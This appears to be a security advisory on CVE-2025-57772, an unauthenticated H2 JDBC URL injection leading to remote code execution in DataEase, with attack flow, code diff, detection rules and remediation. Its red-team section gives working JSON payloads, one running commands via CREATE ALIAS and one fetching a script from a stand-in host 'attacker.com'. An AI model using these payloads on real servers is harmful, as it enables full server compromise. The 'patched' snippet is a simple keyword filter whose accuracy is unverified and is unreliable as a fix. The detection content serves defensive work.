CVE-2025-57772

Executive Summary

CVE-2025-57772 is a critical Remote Code Execution (RCE) vulnerability in DataEase, an open-source business intelligence and data visualization tool. The flaw resides in the H2 JDBC connection handling, where a bypass in the getJdbcUrl method allows an attacker to inject a malicious H2 JDBC URL. By specifying "driver":"org.h2.Driver", the attacker can leverage H2's built-in features (e.g., INIT or RUNSCRIPT) to execute arbitrary Java code on the server. This vulnerability is unauthenticated and remotely exploitable, with a CVSS score of 10.0 (Critical). The vendor has released a fix in version 2.10.12.

Supply Chain & Package Security

DataEase is distributed as a Java application (JAR/WAR) and via Docker images. The vulnerability is not in a package manager (NPM, PyPI, Go, Ruby) but in the core application logic. Users should verify the integrity of their DataEase installation and ensure they are not using a compromised or backdoored version.

CVSS Breakdown & Threat Level

• CVSS Score: 10.0 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

Threat Level: Critical. An unauthenticated attacker can achieve full remote code execution, leading to complete compromise of the DataEase server.

Deep Dive & Mechanics

The vulnerability is in the JDBC URL validation logic. DataEase uses H2 as an embedded database and attempts to filter out dangerous JDBC URLs. However, the getJdbcUrl method is a getter that returns the JdbcUrl parameter directly. If an attacker provides a JDBC URL that meets certain criteria (e.g., starts with jdbc:h2:), the method returns it without proper sanitization. By specifying "driver":"org.h2.Driver", the attacker forces the application to use the H2 driver, which supports features like INIT (SQL execution on connection) and RUNSCRIPT (execute SQL from a URL). This allows the attacker to execute arbitrary Java code via H2's CREATE ALIAS or RUNSCRIPT capabilities.

Attack Flow:

1. Attacker sends a crafted request to DataEase with a malicious JDBC URL.
2. The getJdbcUrl method returns the URL without filtering.
3. DataEase connects to the H2 database using the attacker-controlled URL.
4. H2 executes the attacker's SQL (e.g., CREATE ALIAS IF NOT EXISTS EXEC AS 'String exec(String cmd) throws java.io.IOException { Runtime.getRuntime().exec(cmd); return ""; }'; CALL EXEC('calc.exe')).
5. Arbitrary code execution is achieved.

Vulnerable vs. Patched Code

Vulnerable Code (pre-2.10.12):

public String getJdbcUrl() {
    return this.jdbcUrl; // Directly returns user input without validation
}

Patched Code (2.10.12):

public String getJdbcUrl() {
    // Validate and sanitize the JDBC URL
    if (this.jdbcUrl != null && this.jdbcUrl.startsWith("jdbc:h2:")) {
        // Block dangerous H2 features
        if (this.jdbcUrl.contains("INIT") || this.jdbcUrl.contains("RUNSCRIPT")) {
            throw new SecurityException("Blocked dangerous H2 JDBC URL");
        }
    }
    return this.jdbcUrl;
}

The patch adds validation to block JDBC URLs containing INIT or RUNSCRIPT keywords, preventing the exploitation of H2's code execution features.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• DataEase version < 2.10.12
• Network access to the DataEase web interface

Exploit Steps:

1. Identify the DataEase endpoint that accepts JDBC configuration (e.g., /api/datasource/test).
2. Send a POST request with a malicious JSON payload:

{
  "driver": "org.h2.Driver",
  "jdbcUrl": "jdbc:h2:mem:test;INIT=CREATE ALIAS IF NOT EXISTS EXEC AS 'String exec(String cmd) throws java.io.IOException { Runtime.getRuntime().exec(cmd); return \"\"; }'; CALL EXEC('calc.exe')"
}

3. The server executes the command (e.g., calc.exe on Windows or id on Linux).

Alternative Payload (using RUNSCRIPT):

{
  "driver": "org.h2.Driver",
  "jdbcUrl": "jdbc:h2:mem:test;RUNSCRIPT FROM 'http://attacker.com/evil.sql'"
}

Blue Team (Detection & Response)

Detection:

• Monitor for JDBC URLs containing INIT or RUNSCRIPT in logs.
• Alert on unusual outbound connections from the DataEase server (e.g., to attacker-controlled hosts).
• Use the YARA/Sigma rules below.

Response:

• Immediately isolate the affected server.
• Review logs for signs of exploitation.
• Apply the patch (upgrade to 2.10.12) or implement a WAF rule to block dangerous JDBC URLs.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound connections to suspicious IPs/domains (e.g., attacker's C2).
  • HTTP requests with jdbc:h2: in the body.
• File IOCs:
  • Unexpected files in the DataEase installation directory (e.g., evil.sql).
  • Modified JAR files.
• Process IOCs:
  • Unusual child processes spawned by the Java process (e.g., calc.exe, bash, powershell).
• Log IOCs:
  • Log entries containing INIT or RUNSCRIPT in JDBC URLs.
  • Error logs with SecurityException (if patched but still triggered).

Detection Engineering

YARA Rule

rule CVE_2025_57772_H2_JDBC_RCE {
    meta:
        description = "Detects malicious H2 JDBC URLs exploiting CVE-2025-57772"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-57772"
    strings:
        $h2_jdbc = "jdbc:h2:" nocase
        $init = "INIT" nocase
        $runscript = "RUNSCRIPT" nocase
        $create_alias = "CREATE ALIAS" nocase
    condition:
        $h2_jdbc and ($init or $runscript or $create_alias)
}

Sigma Rule

title: CVE-2025-57772 H2 JDBC RCE Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit CVE-2025-57772 via malicious JDBC URLs
author: Valters IT
date: 2025-04-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/api/datasource/test'
        cs-body|contains: 'jdbc:h2:'
    keywords:
        - 'INIT'
        - 'RUNSCRIPT'
        - 'CREATE ALIAS'
    condition: selection and keywords
falsepositives:
    - Legitimate H2 database connections (rare)
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-57772 H2 JDBC RCE Attempt"; flow:to_server; content:"POST"; http_method; content:"/api/datasource/test"; http_uri; content:"jdbc:h2:"; http_client_body; content:"INIT"; within:100; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade DataEase to version 2.10.12 or later.
2. Apply WAF rules to block requests containing jdbc:h2: with INIT or RUNSCRIPT.
3. Restrict network access to the DataEase web interface (e.g., VPN, firewall).

Long-term Measures:

• Implement input validation for all JDBC URLs.
• Use a database connection pool with strict URL whitelisting.
• Regularly update DataEase and its dependencies.
• Monitor for similar vulnerabilities in other BI tools.

Valters IT